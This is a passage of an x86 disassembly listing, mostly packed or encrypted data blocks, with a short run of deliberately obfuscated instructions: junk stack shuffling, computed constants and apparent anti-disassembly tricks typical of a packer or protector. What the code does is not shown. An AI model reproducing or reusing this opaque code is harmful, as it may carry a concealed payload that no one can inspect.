		dd 8E6AADCDh, 0AE66AB93h, 0D7FB4647h, 2FF4AF1Ah, 5C7D01ECh
		dd 75A1C9FBh, 2D781D88h, 0E70C51A6h, 649F567Eh,	0E56D8AD7h
		dd 21D1F08Ch, 6AB56C9Fh, 2B09FE7Fh, 2843D392h, 8E28BD93h
		dd 9D7C7551h, 0F22DC6F3h, 3CBB5825h, 944572BFh,	84356E87h
		dd 4A9B7871h, 5882B13Ch, 0B46F24A5h, 6B007E6Fh,	0FDF41B44h
		dd 0A10CD78Ch, 8F28F5C2h, 740F7D70h, 8EF24E7h, 0EE09AEF3h
		dd 0F39FBh, 34450000h, 9A5FD5B1h, 5AD841Ch, 0D8C92BF0h
		dd 4F3261Ch, 5C9B3889h,	2F12071h, 5F9E3A87h, 4F1236Eh
		dd 5F9E3889h, 3F2236Eh,	5C99378Ah, 1F02071h, 3968F688h
		dd 8900004Bh, 0D268243Ch, 89000061h, 69682434h,	8900006Bh
		dd 6857242Ch, 67DC15E7h, 41BA525Fh, 0C10CAE53h,	814A02E2h
		dd 5249CBC2h, 81DAF708h, 5C1B9C2h, 5AD709B1h, 0A4F78147h
		dd 89720084h, 8B545FFEh, 0C481242Ch, 4,	6E2468h, 24348900h
		dd 8B08458Fh, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h
		dd 348B5C24h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 0FBB33CE9h, 0B48E1BFFh, 0FED069B8h, 0FFC50305h, 4692B9E0h
		dd 154B8F77h, 0DBFA7C15h, 4BD6FB63h, 0F6CD875Ch, 7ACDA34Dh
		dd 37602216h, 0B9E60Bh,	0D0280332h, 293F13Ch, 78D4B826h
		dd 0DA83E219h, 7C0C9368h, 7FD7C503h, 8CA7CF31h,	0A027617Fh
		dd 0F4F84407h, 0F8EA6F54h, 8AAB8D46h, 0F37DBD4Ah, 0A766360Fh
		dd 0A52B3018h, 28834A4Dh, 0E7815671h, 7368136Fh, 939AB2Eh
		dd 6597CD72h, 0C19D8D6Eh, 0B805F92Ch, 3Dh, 12F18589h, 0E805F9h
		dd 58000000h, 0D05h, 0E9038900h, 3Dh, 0Fh dup(7C800000h)
		dd 0AE8FFh, 9D870000h, 201C93CBh, 2BCDE2FAh, 8B86F381h
		dd 8B584D8Fh, 0E0C081D0h, 81000061h, 94472DDBh,	6878h
		dd 0F510000h, 58Ah, 0CA816600h,	5F5BFE27h, 6E8h, 0BE8A0300h
		dd 0E9E79D8Bh, 0Dh, 0C9469A69h,	16B46FF5h, 0D6FAACEEh
		dd 34FF5A52h, 88D0F07h,	0F000000h, 284h, 59F08B00h, 7E8h
		dd 0D6033D00h, 942C31A9h, 815ED08Ah, 0B169D3E9h, 0CFBA6643h
		dd 0B4C181CFh, 66280C66h, 0F181D68Bh, 674EBF6Ah, 89DA8B66h
		dd 8166380Ch, 0BE410ED2h, 60B7B66Dh, 6004EF83h,	30F5DA81h
		dd 0CE86CEFh, 4D000000h, 0ADE6A43Dh, 2A4BA5DBh,	0E9A8614Bh
		dd 0Eh,	994B62A9h, 0FEE49C76h, 0DE99A394h, 615EAC0Bh, 9EF4FF81h
		dd 850FFFFFh, 0FFFFFF7Ah, 8D8D90B2h, 5FED353h, 9E9h, 14D6E400h
		dd 0C6054A49h, 8D897E11h, 5F90CDDh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0A2C35343h,	77CA353Ch, 34841F3Eh
		dd 6618D89h, 0F68105F9h, 0CE73FA5h, 85C7D98Bh, 5F926C1h
		dd 5C40h, 0FD85C7h, 5F9h, 95890000h, 5F92A55h, 32E9B5FFh
		dd 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h
		dd 0D39635C3h, 0F0492A51h, 0E1816660h, 0BD894C31h, 5F93325h
		dd 0D595FF61h, 8905F920h, 0F908119Dh, 0FF006A05h, 0F91AED95h
		dd 0EBC08B05h, 5EADFB1Eh, 0CCA0DC21h, 0DC2E6C1Bh, 1021CA87h
		dd 0BA936933h, 18FB1F3Bh, 0AA6B09BEh, 0EBCF9E3Ah, 60h
		dd 17h dup(0)
		dd 10F4E900h, 0E8E90000h, 68000010h, 5FEE039h, 0FAAB21E9h
		dd 0E21368FFh, 17E905FEh, 68FFFAABh, 5FEE294h, 0FAAB0DE9h
		dd 0AC658CFFh, 9E714D78h, 0AA597F66h, 9F665372h, 95725A7Dh
		dd 1F5CD56Fh, 2D984CBBh, 1DC87C8Fh, 2E994BBEh, 1AC87C91h
		dd 0B1BBBE5Dh, 93382397h, 8A31CEF5h, 0BB5B0E7Fh, 0C079923Ch
		dd 80759437h, 965C85A9h, 9E46C527h, 0A3459637h,	8FCC6D60h
		dd 299685EEh, 0BE73BE6Bh, 4A8D3037h, 0BA6F66A3h, 0E46FCA6Fh
		dd 29968599h, 1CC56916h, 0C528B11Bh, 80548D44h,	4F05DDFCh
		dd 0B251775Bh, 6B0ED777h, 27836954h, 2A83C0A7h,	0ADFD61Bh
		dd 32E505E4h, 963A5821h, 0E128D529h, 28DF0BECh,	4E606F1h
		dd 28897B50h, 9419D0AEh, 0F1B831C5h, 0E20E506h,	0F0D9FADFh
		dd 0C441AA15h, 18E1880Dh, 959E82FBh, 9502FF29h,	0B140D639h
		dd 2E4F0C07h, 0AB29959Eh, 0F10E33FEh, 0E2B73EC9h, 0E9D6934Ch
		dd 2F10500h, 0EF0831DEh, 0E1B83DCCh, 9006944Dh,	9EC0B95Ah
		dd 403D2995h, 9EFF7A99h, 7F7C2995h, 0C2288F4Ah,	379D4C41h
		dd 71088F6Fh, 5CD97DFCh, 388C2FA5h, 0CF25EA06h,	1582400Ah
		dd 8FC254B7h, 2F94E366h, 0F40B36F3h, 78A143CCh,	1C458894h
		dd 0A47F55AEh, 0F26E80E8h, 23E20769h, 0E225C5B2h, 0C037E227h
		dd 0C9F4EB1Ch, 7A9C4D40h, 0D8DF9EBDh, 0B7542396h, 96D8E19Ch
		dd 496F5E23h, 7FBA6FBAh, 0A1B55678h, 0BA16A148h, 65896055h
		dd 4C726986h, 0D61BCEBFh, 0E12A942Bh, 1F193DECh, 0AA638C01h
		dd 8CFE9D6Fh, 0C69BCACDh, 31CE0A30h, 0A0797C87h, 0FF9B558Eh
		dd 0D1143466h, 8A31CE6Fh, 0BB5B0E7Fh, 2F526A56h, 754B50h
		dd 6B960000h, 9685CDB0h, 0C22B4A26h, 0B519864Bh, 0CE7EB45Ah
		dd 8595E873h, 15122996h, 7EF811BFh, 80966E8Ch, 0D3FB7DE4h
		dd 0B34CF53Ch, 2D17E509h, 66B19004h, 0DF6F2AABh, 3E46CE59h
		dd 0A11617B6h, 809B98BEh, 299660FDh, 69379D7Ah,	0DB3716AFh
		dd 9AE598A3h, 0A5622995h, 7ACEBC6Ch, 76AB648Ch,	85ED90CBh
		dd 0BD6A2996h, 696C9942h, 12989EB0h, 6B8A2Eh, 0FFB60000h
		dd 66174466h, 0E3299685h, 0CE3DEB26h, 0B452A173h, 0FC2C5471h
		dd 95DC1E5Fh, 23EE9B29h, 0DC3D4013h, 22D72995h,	0E873CEFEh
		dd 29968595h, 40AA1512h, 3B0633C3h, 85245506h, 0C7A12996h
		dd 0A2510B06h, 313DE7Eh, 0D046CE3Dh, 0D4D58DDFh, 0F4DC1B3Bh
		dd 0BF0A05E9h, 983D9D1Ah, 9B12D738h, 0C43C3DDEh, 0CCB92995h
		dd 124BF105h, 3169FF2Eh, 0CCDB3108h, 45358B50h,	35D6F8DFh
		dd 20982E21h, 5C7B2F8Fh, 81866671h, 74588148h, 35F6770Bh
		dd 0B039DDF0h, 9CA05623h, 1DE6D423h, 0DD2C8F98h, 770211D8h
		dd 0F4239CA0h, 4522507h, 1B47BE5Ah, 8A836C53h, 53BC2403h
		dd 0D993789Eh, 9E48D6B8h, 2B4h,	1A1E6B61h, 0D2CA0619h
		dd 64FFF63Ch, 35500B36h, 0A2299685h, 851366F5h,	61902996h
		dd 4D1C917Ch, 0E8443084h, 0CF2A995Dh, 0E9D6931Ah, 0DA8F0601h
		dd 0C318B534h, 2702F31Ah, 0CEE43AE2h, 0DA7C8731h, 0A65BB21Bh
		dd 7238B019h, 0D6FF0Ch,	0CD73834Eh, 7582B782h, 6742B356h
		dd 9685B1CCh, 44C32729h, 79269851h, 66FF5FD5h, 31CE1434h
		dd 0B515828Dh, 9C72BC52h, 367646CEh, 0E75C7DDFh, 0BDEC247h
		dd 92D7502Fh, 2A000000h, 2C3944CFh, 0BAF2696h, 0F91D0AFCh
		dd 3466FF43h, 8A31CE14h, 77C26F7Fh, 24A95A80h, 1A631F58h
		dd 0C900C2EAh, 0E3572225h, 0A80F2995h, 0E6EBC142h, 2AA75174h
		dd 8A54DE1h, 95DB324Bh,	5029EA29h, 0CD2995DBh, 0C631EED0h
		dd 3EEBE227h, 31CE55F3h, 0A0797C87h, 8C5FA18Eh,	0CB76AB64h
		dd 0D808934h, 85BEBF5Ch, 4E3B2996h, 46CE92A8h, 2116044h
		dd 1F58FEB1h, 0AA5D7D7Ah, 90CB7623h, 299671EDh,	0A399BD6Ah
		dd 7C8731CEh, 5D8EA079h, 3Ah, 3466FFA3h, 0DCCF20Dh, 279059ACh
		dd 8BB145C4h, 7D8831CEh, 0BEBF5CD9h, 76299685h,	85ED90CBh
		dd 0BD6A2996h, 0C96D9A42h, 0CE69974Eh, 787D8831h, 60A08DA1h
		dd 7DAB648Ch, 46CE2E12h, 8CFE6D5Fh, 0E48096D5h,	37D2F97Fh
		dd 69FEC6B6h, 0C74D8D57h, 112C702h, 29963E84h, 6E0F4CE9h
		dd 0EB29963Eh, 0F502F33Eh, 0F30C35D8h, 0E2B73EC5h, 0CE4CE24Ch
		dd 3DBF2046h, 2DC111E7h, 3CEC21BEh, 73CEBE82h, 968595E8h
		dd 0AA151229h, 3430C643h, 3BC47DADh, 69A44992h,	0DA7CB564h
		dd 6468D164h, 6A7A6F9Fh, 0F1D7C042h, 0CE36FC12h, 8BB4D46h
		dd 93A3AE4Bh, 2F9A127Eh, 649350h, 516E0000h, 900D836Bh
		dd 0F23478DAh, 0FF211737h, 0CE143466h, 0AB648C73h, 85B5C88Bh
		dd 526D2996h, 41189D6Ah, 9FD1906Bh, 0CA6C0480h,	71984332h
		dd 567681B8h, 0C96D3CB1h, 0A173CE73h, 82FB6AD0h, 0AE84AA73h
		dd 962646CEh, 1E35A62Fh, 8D5F9F8h, 0EAB22E3h, 96152C4Dh
		dd 35FCA929h, 2E124CFCh, 628Ah,	73CEB600h, 968595E8h, 2CE30B29h
		dd 0DC339BBAh, 25C900D9h, 0CE72A039h, 8DCE73CEh, 299685ECh
		dd 0B79ABC69h, 299685C6h, 0AE59817Eh, 0C59A7227h, 0D7A6107Fh
		dd 9643CE60h, 0CE7ACE72h, 0D808B31h, 933BBA5Ch,	6F66A34Ah
		dd 6FCA6FBAh, 968599E4h, 0C5691629h, 9027126Fh,	0CDDADB2Ch
		dd 0C0991CEFh, 0CE4FE509h, 8595E873h, 15122996h, 193F001h
		dd 0AE490000h, 2F4A090Eh, 0AC299685h, 1E143AEFh, 0DA0464FFh
		dd 24EDBC31h, 661744FDh, 0E3299685h, 0F8231026h, 2996858Dh
		dd 2DD40DFAh, 96858BEEh, 0FB1B0829h, 25E805F2h,	2FD603FCh
		dd 8530490Ah, 0F0AD2996h, 8C3AD45Eh, 0CA6FAA63h, 9685F089h
		dd 93C06D29h, 299685EAh, 9D6FBA67h, 1ADFE2F4h, 76BC52CBh
		dd 828D31CEh, 2FB85E0Bh, 0BD506D8Ah, 67CD6138h,	0D8DB46CEh
		dd 0F230387Ah, 0AD20E305h, 970E5AFCh, 0B8639E43h, 299600C5h
		dd 8BB14542h, 46CE6FD1h, 0E2E22173h, 51B65808h,	502F3F6Fh
		dd 871A257h, 85269619h,	63AA7698h, 7C000000h, 808B31CEh
		dd 376BF26Eh, 611C3702h, 0DE299685h, 85572231h,	27D42996h
		dd 0CEE64CE2h, 9685EC8Dh, 8CBC6929h, 2B7546CEh,	193F13E0h
		dd 799D54AFh, 0FE8F85BCh, 8EF8E928h, 8C88AE40h,	0DDA0BB64h
		dd 5A299685h, 0CEC464ADh, 0D97D8831h, 0DDFEF9A0h, 8A300628h
		dd 8Dh,	15325DAFh, 0DCCB0421h, 46CE043Ah, 0FAA25CB3h, 0D72C8E50h
		dd 0C447A512h, 7BAF3632h, 0D71C4EC6h, 2A2D5E49h, 95FD90E9h
		dd 0D9100D29h, 46CEFF35h, 9049F80Ch, 7434CBC9h,	603D2443h
		dd 6BA885A9h, 29964E12h, 50C47DACh, 0C967B7FAh,	5DE37351h
		dd 0CAC946CEh, 6EA86894h, 0CCC14C71h, 0C3CF91Dh, 3FD846CEh
		dd 189F785h, 42D43996h,	0E9D20BB3h, 0CE33D51Ch,	9BB1C246h
		dd 0F204C6E8h, 0B517A089h, 4F8A5F56h, 95B7B9C4h, 0A5493629h
		dd 0E873CE8Fh, 29968595h, 12F9E312h, 17B837D7h,	0D23AFFF6h
		dd 750FB536h, 707F8F91h, 0A9668A4Dh, 0A65BBC60h, 535AB519h
		dd 72047586h, 9FBC2996h, 299671DEh, 1938AE5Bh, 845558B3h
		dd 0A16E524Dh, 8C815E8Dh, 7A996009h, 299671FFh,	0DC6F7F7Ch
		dd 2996719Fh, 0AD418D7Ch, 25037A27h, 0A84E9672h, 9437A449h
		dd 60A98075h, 689D3EB9h, 98A2B465h, 787D902Dh, 15F293D4h
		dd 864E2FECh, 0DECB2995h, 0FE10FBE1h, 0A41BD3FFh, 0BDECF38h
		dd 2AE30CEBh, 8AD046F2h, 0B206C44Fh, 4CE92F8Eh,	9C5B6E0Fh
		dd 0F33EEB23h, 5B245102h, 3E03239Ch, 5CF21DC1h,	2FDB19Dh
		dd 0F0A92CD9h, 7737A95Eh, 0F8FF48D5h, 0EDBC31D2h
		dd 45DD49h, 8C270000h, 886FAA63h, 532B8866h, 7B7E3FA6h
		dd 0A247A0B6h, 6154B715h, 0B7C25188h, 3429963Eh, 0D9A4A747h
		dd 4F29963Eh, 14139A69h, 8B6C61AAh, 7326A75Eh, 6C3220EFh
		dd 412B37D6h, 2FC8719Ch, 5C0D808Fh, 0CE9E80BAh,	16818C31h
		dd 2FBE50B5h, 5D5A7F8Eh, 3B23897Ch, 0B16648Dh, 45D50E20h
		dd 655287D3h, 9C695287h, 4894019h, 0E774C155h, 2F949F62h
		dd 85A25A47h, 34B9567Ah, 395D165h, 0BBAA22D7h, 306E562h
		dd 77F5D792h, 0A08DA1BFh, 8FCB5773h, 658A7529h,	79B05576h
		dd 6991A574h, 0C97039BCh, 76778C2Eh, 74E598A3h,	0A5621D9Dh
		dd 74B7BE91h, 0A1961D9Dh, 0C155BA16h, 725A1442h, 0CFBCDE41h
		dd 0CA59BAF4h, 0F8D69E34h, 74E81D31h, 3146D6D2h, 30h, 4664FF13h
		dd 9B01D2CEh, 6C87BB6Dh, 2995AC11h, 0F137748Eh,	0A9F8D1C2h
		dd 0E370A960h, 2995A8AAh, 607E807h, 3FA916CBh, 5BB320C4h
		dd 0D000000h, 0D80464FFh, 30490A2Fh, 0AD299685h, 390039F0h
		dd 6203E5D3h, 6A5073B8h, 8C451499h, 7164AB13h, 0D6B396B8h
		dd 76299673h, 73ED90CBh, 0A06A2996h, 39CF45F2h,	789E530Ah
		dd 0A35E8380h, 95FB0578h, 71858229h, 768D3BC4h,	818A34CBh
		dd 7FB95D0Ch, 96B2329Ah, 125C7ACBh, 31CE36FCh, 7C6D818Ch
		dd 1DCh, 3268FFC4h, 8CBE820Eh, 0B1527863h, 9BDE7D3Ch, 18299685h
		dd 0BD6BA66Bh, 829168D1h, 299685F7h, 91745574h,	0A680B658h
		dd 502F523Ah, 0C94C6D8Ah, 9685EF8Ah, 7AAF6C26h,	6548D4h
		dd 2C930000h, 995045BEh, 46CEBF75h, 0E986D0D7h,	0DFCDFEDh
		dd 0A13632C4h, 9237C079h, 87A78273h, 8D31CEB1h,	0B85E0B82h
		dd 859DE07Bh, 6A552996h, 58118481h, 0FB243EB6h,	31D4A68Eh
		dd 0CEF513DEh, 8D31CE7Ah, 5B7D6C82h, 46CE78A8h,	0E66E14EFh
		dd 0D3983F59h, 71A4C014h, 851B54FAh, 358Ah, 0A848AF00h
		dd 0CE71C767h, 0C818C31h, 3AADB95Dh, 94D339E0h,	1E2B33Bh
		dd 0CE9E94BAh, 9685EC8Dh, 0BB1D8629h, 0CE5F8148h, 797C8731h
		dd 5FA18EA0h, 83A55E8Ch, 638C2E12h, 0A9D47FBAh,	26299685h
		dd 859FDA79h, 5F1C2996h, 0BE8276AAh, 628A31CEh,	73B3FA6Ah
		dd 4EE02961h, 0A9578B12h, 3AA66FD1h, 8A502F52h,	85D9A4AFh
		dd 6B4F2696h, 5E40199Ch, 59918DA1h, 73000000h, 828D31CEh
		dd 0ACB85E0Bh, 0FF06B335h, 0F216DB8Eh, 5E8C73CEh, 0D57930A5h
		dd 96860772h, 87658429h, 85F68794h, 0B6732996h,	6A9F7A7Bh
		dd 0B0C98AAFh, 2D299685h, 0CE58DE70h, 5F4FA173h, 5046D67Ch
		dd 648C78BEh, 31CE7DABh, 9E6F508Dh, 67876253h, 4E8A320Eh
		dd 0B6000000h, 95E873CEh, 12299685h, 4E2FEC15h,	0CB299685h
		dd 0B52C38DEh, 8DCEC365h, 299685ECh, 0BBBE5DA4h, 38299685h
		dd 8770AB4Bh, 0BE62A766h, 5F8C73CEh, 0BF7A2FA6h, 9685E994h
		dd 95B96629h, 0AB648C9Fh, 0D227127Dh, 96853841h, 26C8B529h
		dd 0B8618C10h, 9685E29Bh, 95765829h, 0A8554920h, 93E76C61h
		dd 52299685h, 38BF6F7Bh, 14E37394h, 62BC60A9h, 7E8931CEh
		dd 5D8CA277h, 5F0A8B7Eh, 21947558h, 0A447A648h,	8593E675h
		dd 13102996h, 0EED0D7DEh, 2D8F981Dh, 0EDD0D7DEh, 301E191Ch
		dd 0BE39DE6Eh, 2231E81Dh, 29968557h, 0F80727D4h, 5EFD44EAh
		dd 2996851Bh, 1D60FB98h, 9A299685h, 0E31224EDh,	4EEB11F8h
		dd 0EE000BB1h, 968F5F5Bh, 0B32C8D29h, 744D2F52h, 0FFFFFDBDh
		dd 7B8C30C7h, 0DB8A827Ah, 0D4138853h, 0E843F91Dh, 29968591h
		dd 4D846651h, 61549D70h, 16E36688h, 0D6299686h,	0ECE800E9h
		dd 2E13259Dh, 867164ADh, 7B2E9F64h, 0DEE55EB6h,	14DD4A60h
		dd 0FD2D4F02h, 74012995h, 4E2995FDh, 2995FD27h,	95FD7401h
		dd 0ACE034E9h, 62AB9555h, 0D3452135h, 76A57855h, 69964303h
		dd 474E8380h, 71A25792h, 6F92799Fh, 2EBC31EEh, 721B45B8h
		dd 0E7F8633h, 1CD795Bh,	6E5FAA11h, 86BB76BBh, 96B85379h
		dd 626C6099h, 0E765CFB4h, 23C0F1Fh, 3869931Dh, 4AEC1BBFh
		dd 5226F5B2h, 0B27EFCBBh, 3D3B4C1h, 6C530000h, 78587FA5h
		dd 58826597h, 6D4E79ABh, 59816498h, 659C76AEh, 0CB719636h
		dd 9349C22Ch, 5C808934h, 83B95479h, 27B9861h, 7F2397A6h
		dd 638C26CAh, 21B723AAh, 0FEF940F9h, 470A2CE1h,	2F9558FEh
		dd 11033EEBh, 3E9FA037h, 0F56FDCFh, 2FF23CD2h, 2397CF4Ah
		dd 9943AD3Bh, 63AE7B72h, 0A3509DBEh, 48E52996h,	98FC720Bh
		dd 0F732EF1Dh, 215CF742h, 9E1D98FCh, 26DD3BC4h,	0A7626558h
		dd 0D514E45h, 21358ADBh, 0DB42AB14h, 0ED0EF7E4h, 1D997A8Ch
		dd 0AB81C09h, 79F967CDh, 6F568E43h, 2BCEBF4Eh, 5EAD62A9h
		dd 989DBCBDh, 684C391Dh, 0E6082B2Eh, 992B1E63h,	8746CE1Dh
		dd 237FD67Eh, 0B92F3BDBh, 0F154B861h, 9A15509Ah, 0A950DD71h
		dd 0C725AC0Eh, 51985144h, 0E6698D5Ch, 23982D63h, 639E4340h
		dd 85FC7D9Eh, 8C79179Ah, 0AB628B6Ah, 4ECD9E76h,	4220CCF8h
		dd 41017C97h, 817E179Ah, 0BB24C36Dh, 0AD10A752h, 6E80595Ch
		dd 0A14BB475h, 40A0D97Ah, 601D179Ah, 4FD985A9h,	182DEE13h
		dd 381D9914h, 0FCE33DD4h, 8D5F0AC7h, 0FCD47917h, 24CC62EFh
		dd 8EB37677h, 0DFD5A8B3h, 5552119Ah, 9ADFB3C6h,	47C22911h
		dd 76339346h, 0C81284E0h, 0B2EF0211h, 4D7C1799h, 0AD549D70h
		dd 0E271AE12h, 0B9C0B97h, 8CA26714h, 56B7189Fh,	67A647AEh
		dd 0B1CC87B2h, 270B9C0Bh, 9F5C42C1h, 0C8AD568Fh, 880B9C25h
		dd 37BE4D6Fh, 0B3567562h, 9BC76742h, 932CD50Dh,	37F2E32Ah
		dd 48F91A17h, 35119AC5h, 1BA44548h, 7F5A5BB2h, 3D65F36Fh
		dd 3BD2FB04h, 0E24FDFBAh, 5FD3B517h, 968A30B0h,	0A115CD80h
		dd 19FB0B96h, 7C943527h, 56756252h, 0AE5BA3B3h,	0FB3C914Dh
		dd 896C859Ch, 1F9h, 89BB5679h, 578D825Eh, 83B94A70h, 568E7764h
		dd 88BC4B6Fh, 0A44877AAh, 0B816C163h, 0A746B153h, 0B21BBA62h
		dd 7E3BA95Bh, 97A39CDDh, 14B41923h, 7E8931CEh, 0D01A8CD8h
		dd 96853A43h, 0E2CAB729h, 0B3981A8Dh, 2BD61B80h, 950455F0h
		dd 5045422Fh, 9EBD23A9h, 0A553ADEAh, 1743D591h,	15F8D5E2h
		dd 2F273401h, 35299045h, 0F2E320CAh, 0F0DF1737h, 0E6B33ACBh
		dd 94E4D02Bh, 0F3FCBEF1h, 178F2h, 38D9F800h, 12FDE104h
		dd 26DD0BEAh, 13F2D7FEh, 21E606F1h, 0ABE829FBh,	0B114C83Fh
		dd 0F9DC000Bh, 0E20537D2h, 6EC10FDh, 0A3572231h, 6FD42397h
		dd 3169FFD1h, 24C63108h, 33FE11ADh, 591D3023h, 0CA352F95h
		dd 1F3CE522h, 2397B15Eh, 0F0082EDBh, 0A92CD701h, 0F5B439F0h
		dd 1125E20Ah, 0A4F3FDE2h, 935463BCh, 27E607F0h,	1BC037E2h
		dd 8384E8CDh, 0B57C1780h, 6BC56940h, 621046CEh,	0F6369A4Dh
		dd 0E12C9160h, 0B2E87EECh, 675AB287h, 0FFFAE62Eh, 5657AC0Eh
		dd 6C514E83h, 33BA8DA1h, 0C82996F4h, 2F9926DBh,	0B15D00D4h
		dd 0E4C7EAACh, 0CD3FE852h, 0CDF03766h, 0A59D83Ch, 2E9261F5h
		dd 1DBF38E1h, 7EE48EEh,	1DFA22E1h, 29CD3AA2h, 67F421CAh
		dd 1D98BA16h, 0A65B9693h, 5657B219h, 1EC97383h,	349349BEh
		dd 676C4D88h, 864B8685h, 591A795Bh, 4F0809D9h, 2B9475BFh
		dd 85964BC2h, 1D9908F4h, 53A2B471h, 9D7AA269h, 53B50F37h
		dd 7851A36Ah, 0AFFDE43h, 1DC02FBFh, 3CF512BAh, 35981F08h
		dd 434637E4h, 0C6C31D99h, 0E30CEB0Bh, 0E9D3F22Ah, 1142F722h
		dd 1D994368h, 1C1638E5h, 30D904FBh, 5CD4421Eh
		dd 44159871h, 27AD548Dh, 30270378h, 0E76A8CA8h,	23978B0Ah
		dd 0FA0BB09Fh, 542536F3h, 0D11799E4h, 0E1D41DD4h, 0F014F9D6h
		dd 803h, 22C93600h, 0FF147E7h, 0AC658C39h, 6CA13E29h, 0AA5F7E69h
		dd 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h, 788B2D3Ah
		dd 0C14E7275h, 89511BCCh, 4C181E1h, 83000000h, 0C8704E9h
		dd 24248B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 31ED385Eh
		and	esi, 78A75E5h
		not	esi
		shl	esi, 5
		or	esi, 7333649Ch
		sub	esi, 0F9FD23FCh
		mov	ecx, esi
		pop	esi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, ecx
		mov	[edi+8], edx
		pop	edx
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		dw 0B860h
		dd 5FEE431h, 0C38BC503h, 7E8h, 6B980C00h, 439FBC6Bh, 2CC2815Ah
		dd 0F00005Ah, 88Ah, 0C1815700h,	3E09A654h, 6859h, 9E90000h
		dd 0B2000000h, 9204F709h, 3BF22626h, 0B6EF815Eh, 8B651015h
		dd 0BF0F321Ch, 0AFEB81CFh, 0F358B74h, 587h, 5855B800h
		dd 0C381545Dh, 60D5A147h, 0FE9h, 302E5800h, 342DD352h
		dd 6AD730Dh, 11FD0733h,	309EEB81h, 0B9664DABh, 1C89B4F9h
		dd 9405B832h, 820F7D9Ch, 4, 0E097B966h,	0BF04EE83h, 7D18AFDDh
		dd 0A678FE81h, 850FFFFFh, 0FFFFFF9Fh, 0CE9h, 39A9400h
		dd 0ED239685h, 333C200Eh, 147E9D5h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 91A267C3h
		dd 8D0F138Ch, 2Ah, 0BE860h, 85370000h, 0E8C1652h, 70AE8B31h
		dd 12E958FDh, 7F000000h, 5BDC236h, 0F20907BFh, 17DBC794h
		dd 7BF80F0Ch, 0B58D616Dh, 5FEE605h, 38858DF8h, 0F505FC89h
		dd 0E9D0FFF9h, 5, 9C518D3Bh, 0FE9C3A9h,	1E000000h, 6ADDC589h
		dd 726728C4h, 2AF47A43h, 8C66FF9Eh, 53006AD9h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 54A4914h, 697E11C6h
		dd 15840F30h, 0E9000000h, 10h, 1FBFCD4Eh, 5BB1BF1Fh, 0A7C4B7F8h
		dd 6440BA36h, 0F04C1F6h, 4384h,	0D3806000h, 0B9665362h
		dd 61588229h, 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh, 8BF92BD9h
		dd 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh, 8B0C708Dh
		dd 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h, 0E4EB008Bh
		dd 0B8h, 6ACF00h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 150424h, 55450000h, 0F9D7DC3h, 1085h, 0BE900h, 0BB6C0000h
		dd 97AA260Eh, 9864F812h, 7385C713h, 3F05FEE6h, 8D000101h
		dd 0FEE7B68Dh, 0FE905h,	210000h, 0B9D15E9Dh, 0ED057B10h
		dd 116D8F10h, 0DD8D89DBh, 6A05F90Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0D459C350h
		dd 0EFF2B25Fh, 4DB58918h, 0C705F92Eh, 0F926C185h, 6CC405h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0C780B6FDh, 0F900FD85h, 5, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 535E4FBAh, 0D58CF388h, 2409B5FFh, 858B05F9h,	5F90A4Dh
		dd 20D595FFh, 6A05F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 3FB6E5C3h, 0C542E470h, 0B589A2D8h
		dd 5F90D31h, 95FF006Ah,	5F91AEDh, 7CEBC08Bh, 0CF924F3Eh
		dd 2A6629F4h, 24222998h, 0B209C7E2h, 3083D80Ch,	0DC147BD1h
		dd 0F1853425h, 0FA84A50Ah, 0BD3D1C7Eh, 0CA4FE666h, 32DA3CF9h
		dd 8485D9F1h, 784AEADAh, 0F04E443Ah, 17454D8Fh,	9B2993C6h
		dd 8C8BBFD9h, 4A2831EDh, 2E3F743Eh, 52FE7A6Dh, 59F343E1h
		dd 8BAAE75h, 14823C81h,	68258845h, 4258BED9h, 0E5063731h
		dd 55F710h, 97C62341h, 5595C29Eh, 10015A6h, 4AD1F1BAh
		dd 0E9048D8Dh, 13E805FEh, 0E2000000h, 0AD7C09C9h, 2E454A89h
		dd 5C062CDBh, 38CB444Dh, 85331B7Ah, 5F91E11h, 0DD8D895Eh
		dd 2905F90Ch, 0F92B5D9Dh, 0C185C705h, 6805F926h, 6A00005Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 7443C350h, 0C76677E2h, 0F900FD85h, 5, 8E900h
		dd 0C9FE0000h, 0BCE1355Dh, 0B5FFC9ADh, 5F91FA1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 65C35646h, 2DD69FE9h
		dd 27F9858Bh, 95FF05F9h, 5F920D5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 8FC35545h, 12D9958Bh, 6A05F9h
		dd 1AED95FFh, 0C08B05F9h, 0ED5C18EBh, 1A18D7C1h, 0DF1BBD50h
